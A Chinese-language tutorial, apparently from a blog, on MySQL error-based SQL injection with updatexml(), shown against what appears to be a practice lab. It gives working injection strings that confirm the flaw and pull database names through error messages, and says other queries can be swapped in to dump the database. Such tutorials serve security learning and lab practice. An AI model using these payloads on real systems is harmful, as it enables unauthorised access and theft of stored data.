SQL注入攻击(SQL注入(SQLi)攻击)-报错注入

简介: 页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式

页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入

报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式


updatexml(1,'~',3);

第二个参数包含特殊字符时,数据库会报错,并将第二个参数的内容显示在报错内容中

返回结果的长度不超过32个字符

MySQL5.1及以上版本使用

6.png


本次以SQLi第一关为案例


第一步,判断注入类型

我们在参数中加入一个单引号 ' , 看其会不会报错

?id=1'


数据库返回了一个错误 , 从错误来看 , 最外层的一对单引号来自数据库的报错格式 , 我们不用管


1 是我们传递的参数 , 1旁边的一对单引号 , 是SQL中包裹参数的单引号


而 1 右边的一个单引号 , 是我们添加的单引号


也就是说 , 后台SQL中传递参数时 , 参数包裹的就是单引号 , 固 单引号字符串型注入

9.png


第二步,脱库

我们先来测试一下 , updatexml()是否能正常报错

?id=1' and updatexml(1,concat('~','my par'),3) -- a


concat() , 用来拼接字符串 , 触发updatexml()的报错


数据库把我们的第二个参数返回到页面了

17.png



我们把第二个参数 替换成查询语句 , 即可获取到数据库信息

?id=1' and updatexml(1,concat('~',
(select schema_name from information_schema.schemata limit 0,1)
),3) -- a


我们把第二个参数 替换成查询语句 , 即可获取到数据库信息

?id=1' and updatexml(1,concat('~',
(select schema_name from information_schema.schemata limit 0,1)
),3) -- a


使用分页来查询第几个数据库 , 0开始

18.png接下来可以将'~' 后面的SQL替换成其他的查询语句 , 从而实现脱库


相关文章
|
28天前
|
SQL 关系型数据库 MySQL
这样的SQL执行为什么不会报错?optimizer_trace深度历险
【10月更文挑战第12天】本文探讨了一条看似错误但实际上能成功执行的SQL语句,通过开启MySQL的优化器追踪功能,详细分析了SQL的执行过程,揭示了子查询被优化器解析为连接操作的原因,最终解释了为何该SQL不会报错。文章不仅增进了对SQL优化机制的理解,也展示了如何利用优化器追踪解决实际问题。
|
2月前
|
SQL 数据库
SQL解析相关报错
SQL解析相关报错
45 5
|
2月前
|
SQL 监控 小程序
在微信小程序中使用 Vant 时如何防止 SQL 注入攻击?
在微信小程序中使用 Vant 时如何防止 SQL 注入攻击?
135 58
|
14天前
|
SQL Java 数据库连接
[SQL]SQL注入与SQL执行过程(基于JDBC)
本文介绍了SQL注入的概念及其危害,通过示例说明了恶意输入如何导致SQL语句异常执行。同时,详细解释了SQL语句的执行过程,并提出了使用PreparedStatement来防止SQL注入的方法。
37 1
|
1月前
|
SQL 关系型数据库 MySQL
|
11天前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
21 0
|
1月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
2月前
|
关系型数据库 MySQL Nacos
nacos启动报错 load derby-schema.sql error
这篇文章描述了作者在使用Nacos时遇到的启动错误,错误提示为加载derby-schema.sql失败,作者通过将数据库从Derby更换为MySQL解决了问题。
nacos启动报错 load derby-schema.sql error
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
128 5
|
1月前
|
SQL 安全 数据库
Python防止SQL注入攻击的方法
Python防止SQL注入攻击的方法
51 0

热门文章

最新文章